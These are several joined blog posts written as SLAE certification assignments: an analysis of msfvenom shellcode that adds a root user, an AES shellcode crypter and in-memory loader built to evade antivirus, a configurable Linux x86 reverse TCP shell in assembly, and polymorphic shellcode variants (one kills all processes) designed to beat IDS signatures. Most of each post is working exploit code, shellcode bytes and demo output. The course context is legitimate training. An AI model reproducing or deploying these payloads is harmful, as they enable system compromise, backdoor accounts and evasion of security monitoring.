root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

We see that it takes two parameter , USER and PASS . lets pipe the raw shellcode to ndisasm for analysis.

root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. 0x46 is 70 in decimal. i.e,

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70

its setreuid ..according to its man page,

setreuid() sets real and effective user IDs of the calling process.

so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).

Second syscall is fairly straight forward, its an open sys call ( 5 )

root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5

int open(const char *pathname, int flags);

From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string “/etc//passwd”

0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append  http://man7.org/linux/man-pages/man2/open.2.html

since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --> 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402093 <code+83>:	cld    
   0x402094 <code+84>:	push   0x4
   0x402096 <code+86>:	pop    eax
=> 0x402097 <code+87>:	int    0x80
   0x402099 <code+89>:	push   0x1
   0x40209b <code+91>:	pop    eax
   0x40209c <code+92>:	int    0x80
   0x40209e <code+94>:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --> 0x0 
0016| 0xbffff2bc --> 0x40059d (<main+80>:	mov    eax,0x0)
0020| 0xbffff2c0 --> 0x1 

from man page for write sys call,

ssize_t write(intfd, const void *buf, size_tcount);

we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. 

Finally exit call is used to exit gracefully. 

with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :

root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++

lets verify the operation is successful .

root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham

goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh

As we see, our desired user with root privilege is added to the system.

Github repo for code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post Linux/x86 msfvenom add user shellcode analysis appeared first on .

Why Crypters?

shellcode can easily be fingerprinted by AV , IDS systems. in order to prevent such finger printing or to increase our chance of evading such systems while we execute shellcode , we can encrypt the original shellcode.  And moreover more complex/ harder the encryption algorithm, More chances we have to evade AV’s.

We can even increase our chance of evasion, by chaining different methods such as encoding and different cycle of encryption .

choosing the encryption algorithm was the biggest challenge for me , I decided to go with AES – 256 encryption . AES(Advanced Encryption Standard ) is a symmetric encryption algorithm , which means a single same key is used for both encryption and decryption. Number of rounds of encryption cycle , in this case its 14(max rounds) .

I decided to implement with the help of pycrypto module which is available for python.

Here is my simple crypter program(encrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse


parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to encrypt shellcode')
parser.add_argument('-s', "--shellcode", help='shellcode should have \ escaped ')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode

print("provided key :\t",secret,"\n")
print("provided shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw))




shellcode_encrypted = encrypt(shellcode, secret)
print("encrypted shellcode :\t",shellcode_encrypted)

My script takes two arguments, key and shellcode.  shellcode is the original shellcode to be encrypted with the provided key . 

I will use one of my previous simple spawn a shell shellcode :

\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80″

and key : secret

lets execute and test :

root@kali:~/slae_crypter# python3 encrypt.py -k "secret" -s "\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80"
Pycrypto AES-256 crypter

provided key :	 secret 

provided shellcode :	 \x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80 

encrypted shellcode :	 b'mY3byagSnODp3hjw219NkmjkvU1BWpWYFRyoSN1upEtt9pgd0XLneFUweIpgMrCK/uiUD0SbwyFUg6ciKLlrQUYMG/rzkZFzT/1/3yQb/7j3QX1WsMC/OE11nCE14ZEl8vK7aZriwePk7nGhzAm6ig=='

Now here is my custom implemented decrypter in python (decrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to decrypt shellcode')
parser.add_argument('-e', "--shellcode", help='encrypted shellcode should be a string')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode.encode()


print("provided key :\t",secret,"\n")
print("encoded shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt(enc, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))


decrypted = decrypt(shellcode, secret)
exec_shellcode = bytes.decode(decrypted)
print("decoded shellcode....\n")
print(exec_shellcode)

value2 = bytes(exec_shellcode,"ISO-8859-1")

byte_shellcode = value2.decode('unicode-escape').encode('ISO-8859-1')
print(byte_shellcode)

libc = CDLL('libc.so.6') #loading an external libc library
sc_addr = c_char_p(byte_shellcode)
size = len(byte_shellcode)
addr = c_void_p(libc.valloc(size) #dynamically allocate memory of shellcode size
memmove(addr, sc_addr, size) #move shellcode to known address allocated
libc.mprotect(addr, size, 0x7) # use mprotect to mark the memory as executable. ( similar to what we do @ROP)
run = cast(addr, CFUNCTYPE(c_void_p))
run() # jump to shellcode

This Decrypter program takes two argument. one is the key to be used for decryption and encrypted shellcode (base 64) in string format. One of the interesting thing i learned doing this exercise is , how to execute shellcode  bypassing NX dynamically once decrypted. here we dynamically create a certain amount(shellcode size) of memory at run time and move the shellcode to the allocated memory using memmove function. We make use of  external libc library to utilize mprotect function, which helps us to mark the memory as executable. (which prevents execution by default) and finally jump to the shellcode which spawns a shell in this case.

lets execute and test :

root@kali:~/slae_crypter# python3 decrypt.py -k "secret" -e "Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=="
Pycrypto AES-256 crypter

b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=='
provided key :	 secret 
encoded shellcode :	 b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA==' 
decoded shellcode....

\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80
b')\xc0Ph//shh/bin\x89\xe3\x89\xc1\x99j\x0bX\xcd\x80'
# 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

WootWoot! a shell

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post Linux/x86 Custom shellcode Crypter appeared first on .

Main objective :

Create a shell_Reverse_TCP shellcode .Reverse connects back to provided IP and port .  Port and IP should be easily configurable.

I have explained how to call syscalls in assembly language in previous implementation of bind shell. Perhaps, this will be a bit easier task , as the operations involved will be less than for bind shell and many of the previous code can be reused. previous article can be found here .

So lets begin !

lets split out the operations that are to be done for creation of a reverse TCP shell program.

1. Create a socket
2. Connect back to the reverse listening host:port with the socket.
3. redirect the standard input,output and error to connected socket.
4. call execve to spawn a simple shell which finally results in reverse shell .

Lets create a simple c program to implement these operations and use the same to map :

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	//create a socket
	int sock = socket(AF_INET, SOCK_STREAM, 0);

	
	struct sockaddr_in client_addr;
  client_addr.sin_family = AF_INET;
	
	//set port
	client_addr.sin_port = htons(4444);

	//set IP address to connect we use 127.1.1.1 because we do not want null in our IP
	client_addr.sin_addr.s_addr = inet_addr("127.1.1.1");
	
	
	//connects using the created sock to the properties set at client_addr
	connect(sock, (struct sockaddr *)&client_addr, sizeof(client_addr));
		
	//redirect std input,output and error to created socket
	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	// spawn a shell
	execve("/bin/sh", NULL, NULL);

}

As specified from the steps ,code for creation of the socket remains the same. we make use of socketcall syscall with socket argument to achieve this operation.

        xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax

int connect(int sockfd, const struct sockaddr *addr,
                   socklen_t addrlen);

So in the next step, we can make use of Socketcall syscall with SYS_CONNECT to implement connect call. (value : 3 from net.h)

eax will contain syscall number for socketcall . ebx will contain value 3 and finally ecx contains a pointer to actual arguments to connect.

        ;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt

To push the IP we first convert the internet address to network order address and finally push it in reverse order.everything else is same as in previous post. make sure our IP address should not contain a null byte.

Now redirection of standard input , output and error can be done utilizing dup2 syscall.

;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

Finally we can spawn a shell utilizing execve syscall to call /bin/sh .

; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

Complete Assembly code :

global _start
 
section .text
 
_start:

	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt 


	;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

	; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80

Finally lets compile and extract shellcode and make sure it does not contain any NULL bytes.

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./compile.sh revv
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ objdump -d ./revv|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Now lets update our C template program ,compile and execute. ( netcat listener should be on port 4444  before execution.) netcat -nlvp 4444

#include<stdio.h>
#include<string.h>


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";




main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	 
	int (*ret)() = (int(*)())code;

	ret();

}

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./shellcode
Shellcode Length:  78

On our listener :

slae@ubuntu:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57640)
whoami
slae
id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

WootWoot a reverse shell so our first part is done. now we have to make our port and IP configurable to a custom value. here is a simple python script to do the same .

#!/usr/bin/env python3
import sys
import struct
import socket


port = int(sys.argv[2])
IP = sys.argv[1]

if port > 65535 :
    print("port cannot exceed 65535")
    exit()


port = struct.pack("!H", port)

port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

if "\\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

ip_final = socket.inet_aton(IP)
ip_final = str(ip_final) 
ip_final = ip_final[2:]
ip_final = ip_final[:-1]


if "\\x00" in ip_final:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()    

finalshellcode = """\\x31\\xd2\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\x6a\\x66\\x58\\x6a\\x03\\x5b\\x68%s\\x66\\x68%s\\x66\\x6a\\x02\\x89\\xe7\\x6a\\x10\\x57\\x56\\x89\\xe1\\xcd\\x80\\x89\\xf3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80""" % (ip_final,port)


print("shellcode : ",finalshellcode)

We can run this using :

slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./custom.py 127.1.1.1 1234
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

we can replace this shellcode in our c template program and run to get the reverse shell for custom IP address and port value.

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post Linux/x86 Reverse Shell shellcode appeared first on .

Main objective of this assignment :

Take upto three shellcodes from shell-storm  and create polymorphic equivalent to beat pattern matching . 

Polymorphic shellcode should not be greater than 150% of original shellcode.

Many IDS/ antivirus systems detects normal signature of shellcodes, in order to evade such detection , An attacker can substitute normal instruction with the instructions which has similar functionality. we will look at three different shellcodes which can be made polymorphic in this post .

Shellcode 0x1:

http://shell-storm.org/shellcode/files/shellcode-758.php

original disassembly of text section: 

Shellcode length : 42 bytes

global _start			

section .text
_start:

xor    eax,eax
push   eax
push   0x7461632f
push   0x6e69622f
mov    ebx,esp

push   eax
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   eax
push   ecx
push   ebx

mov    ecx,esp
mov    al,0xb
int 0x80

polymorphic disassembly of text section:

Shellcode length : 55 bytes

; polymorphic shellcode for poly1_original
;Shellcode Length:  55
global _start			

section .text
_start:

;clear edx to zero. can be used instead of xor to clear out register
cdq
push   edx

; bypass fingerprint complete string /bin/cat
mov esi,0x8572743f
sub esi,0x11111110
mov dword [esp-4] , esi
sub esp,4

push 0x6e69622f

mov    ebx,esp

push   edx
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   edx
push   ecx
push   ebx

mov    ecx,esp
;leverage push to move syscall and clear instead of xor
push 0xb
pop eax
int 0x80

In this first polymorphic shellcode we make use of few new instructions which perform similar functionality to traditional instructions.

First we make use of cdq instruction  for  zeroing edx register instead of XOR which saves us a byte. we also make use of manual pushing of data to stack to evade fingerprinting full string “/bin/cat”. and finally leverage stack calls instead of mov instruction to clear our eax register and move respective system call.

final polymorphic shellcode :

“\x99\x52\xbe\x3f\x74\x72\x85\x81\xee\x10\x11\x11\x11\x89\x74\x24\xfc\x83\xec\x04\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\x6a\x0b\x58\xcd\x80”

Shellcode 0x2 :

next shellcode is a simple bash shell  from shell-storm. It utilizes execve syscall to spawn a shell.

URL : http://shell-storm.org/shellcode/files/shellcode-811.php

Original disassembly of text section:

Shellcode length : 28 bytes

xor    eax,eax
push   eax
;push /bin/sh
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
mov    edx,eax
mov    al,0xb
int    0x80
xor    eax,eax
;exit call
inc    eax
int    0x80

polymorphic disassembly of text section:

Shellcode length : 23 bytes

;clear eax before use
sub    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
;zero out edx
cdq
; use stack to push syscall
push 0xb
pop eax
int    0x80

Here, we can see from the original shellcode, it is utilizing execve sys call , followed by an exit call which is not needed , as execve if successful, does not return status and overwrites parent calling process text ,data and bss area.  we have replaced xor with sub to clear out eax register. and CDQ instruction which clears out edx by extending sign bit from eax(which is already cleared out). resulting shellcode is 5 bytes smaller than the original one

final polymorphic shellcode :

“\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80”

Shellcode 0x3:

This short shellcode kills all running process on a x86 system. it makes use of sys_kill syscall .

URL : http://shell-storm.org/shellcode/files/shellcode-626.php

Original disassembly of text section:

Shellcode length : 11 bytes

;original code from : http://shell-storm.org/shellcode/files/shellcode-626.php
xor    eax,eax
mov    al,0x25
push   0xffffffff
pop    ebx
mov    cl,0x09
int    0x80

polymorphic disassembly of text section:

Shellcode length : 11 bytes

;11 bytes
;use stack to clear out and push sys_kill syscall
push 0x25
pop eax
;push -1 directly 
push byte -1
pop ebx
push 0x9
pop ecx
int 0x80

In this polymorphic shellcode we completely rely on stack operations to move data into registers.

final polymorphic shellcode :

“\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80”

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367

The post linux/x86 polymorphic shellcode (SLAE assignment 6) appeared first on .